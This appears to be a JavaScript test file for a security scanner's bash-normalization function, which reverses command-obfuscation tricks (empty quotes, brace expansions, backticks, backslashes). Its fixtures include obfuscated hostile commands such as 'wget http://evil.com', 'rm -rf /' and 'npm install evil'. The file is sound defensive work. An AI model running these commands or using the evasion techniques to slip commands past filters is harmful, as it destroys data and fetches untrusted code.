// bash-normalize.test.mjs — Tests for scanners/lib/bash-normalize.mjs // Zero external dependencies: node:test + node:assert only. import { describe, it } from 'node:test'; import assert from 'node:assert/strict'; import { normalizeBashExpansion } from '../../scanners/lib/bash-normalize.mjs'; // --------------------------------------------------------------------------- // Empty quote stripping // --------------------------------------------------------------------------- describe('bash-normalize — empty single quotes', () => { it("strips empty single quotes: w''get -> wget", () => { assert.equal(normalizeBashExpansion("w''get http://evil.com"), 'wget http://evil.com'); }); it("strips multiple empty single quotes: c''u''rl -> curl", () => { assert.equal(normalizeBashExpansion("c''u''rl http://evil.com"), 'curl http://evil.com'); }); it("does not strip non-empty single quotes: 'hello'", () => { assert.equal(normalizeBashExpansion("echo 'hello world'"), "echo 'hello world'"); }); }); describe('bash-normalize — empty double quotes', () => { it('strips empty double quotes: r""m -> rm', () => { assert.equal(normalizeBashExpansion('r""m -rf /'), 'rm -rf /'); }); it('strips multiple empty double quotes: n""p""m -> npm', () => { assert.equal(normalizeBashExpansion('n""p""m install evil'), 'npm install evil'); }); it('does not strip non-empty double quotes: "hello"', () => { assert.equal(normalizeBashExpansion('echo "hello world"'), 'echo "hello world"'); }); }); // --------------------------------------------------------------------------- // Parameter expansion stripping // --------------------------------------------------------------------------- describe('bash-normalize — parameter expansion', () => { it('restores single-char ${x} to x: c${u}rl -> curl', () => { assert.equal(normalizeBashExpansion('c${u}rl http://evil.com'), 'curl http://evil.com'); }); it('restores multiple single-char expansions: c${u}r${l} -> curl', () => { assert.equal(normalizeBashExpansion('c${u}r${l}'), 'curl'); }); it('strips multi-char ${USER} entirely: c${USER}rl -> crl', () => { assert.equal(normalizeBashExpansion('c${USER}rl http://evil.com'), 'crl http://evil.com'); }); it('strips expansion with default syntax: c${u:-default}rl -> crl', () => { // ${u:-default} has multi-char content, so stripped entirely assert.equal(normalizeBashExpansion('c${u:-default}rl'), 'crl'); }); it('does not strip $VAR (no braces)', () => { assert.equal(normalizeBashExpansion('echo $HOME'), 'echo $HOME'); }); it('handles ${_} single underscore -> _', () => { assert.equal(normalizeBashExpansion('c${_}url'), 'c_url'); }); }); // --------------------------------------------------------------------------- // Backtick subshell stripping // --------------------------------------------------------------------------- describe('bash-normalize — backtick subshell', () => { it('strips empty backtick subshell', () => { const input = 'cu' + '``' + 'rl'; assert.equal(normalizeBashExpansion(input), 'curl'); }); it('strips backtick with whitespace only', () => { const input = 'cu' + '` `' + 'rl'; assert.equal(normalizeBashExpansion(input), 'curl'); }); it('does not strip backtick with content', () => { const input = 'echo ' + '`date`'; assert.equal(normalizeBashExpansion(input), input); }); }); // --------------------------------------------------------------------------- // Backslash stripping (iterative) // --------------------------------------------------------------------------- describe('bash-normalize — backslash evasion', () => { it('strips backslash between word chars: c\\u\\r\\l -> curl', () => { assert.equal(normalizeBashExpansion('c\\u\\r\\l'), 'curl'); }); it('strips backslash in longer name: w\\g\\e\\t -> wget', () => { assert.equal(normalizeBashExpansion('w\\g\\e\\t http://evil.com'), 'wget http://evil.com'); }); it('strips single backslash: c\\url -> curl', () => { assert.equal(normalizeBashExpansion('c\\url'), 'curl'); }); it('handles 5-char backslash evasion: m\\k\\f\\s\\x -> mkfsx', () => { assert.equal(normalizeBashExpansion('m\\k\\f\\s\\x'), 'mkfsx'); }); it('does not strip leading backslash before n', () => { assert.equal(normalizeBashExpansion('echo \\n'), 'echo \\n'); }); }); // --------------------------------------------------------------------------- // Combined evasion techniques // --------------------------------------------------------------------------- describe('bash-normalize — combined evasion', () => { it('strips mixed empty quotes and expansion: c${u}r""l -> curl', () => { assert.equal(normalizeBashExpansion('c${u}r""l'), 'curl'); }); it("strips empty quotes in wget: w''get -> wget", () => { assert.equal(normalizeBashExpansion("w''get http://evil.com"), 'wget http://evil.com'); }); it('handles complex evasion: r""${m}m -rf / -> rmm -rf /', () => { // r"" strips to r, ${m} -> m (single-char), then m remains assert.equal(normalizeBashExpansion('r""${m}m -rf /'), 'rmm -rf /'); }); it('strips expansion + backslash: c${u}r\\l -> curl', () => { assert.equal(normalizeBashExpansion('c${u}r\\l'), 'curl'); }); }); // --------------------------------------------------------------------------- // Normal commands unchanged // --------------------------------------------------------------------------- describe('bash-normalize — normal commands pass through', () => { it('leaves normal command unchanged: ls -la', () => { assert.equal(normalizeBashExpansion('ls -la'), 'ls -la'); }); it('leaves npm install unchanged', () => { assert.equal(normalizeBashExpansion('npm install express'), 'npm install express'); }); it('leaves git commands unchanged', () => { assert.equal(normalizeBashExpansion('git status'), 'git status'); }); it('leaves pipe commands unchanged', () => { assert.equal(normalizeBashExpansion('cat file.txt | grep pattern'), 'cat file.txt | grep pattern'); }); it('leaves quoted arguments unchanged', () => { assert.equal(normalizeBashExpansion('echo "hello world"'), 'echo "hello world"'); }); it('leaves single-quoted args unchanged', () => { assert.equal(normalizeBashExpansion("grep -r 'pattern' ."), "grep -r 'pattern' ."); }); it('handles empty string', () => { assert.equal(normalizeBashExpansion(''), ''); }); it('handles null/undefined', () => { assert.equal(normalizeBashExpansion(null), ''); assert.equal(normalizeBashExpansion(undefined), ''); }); });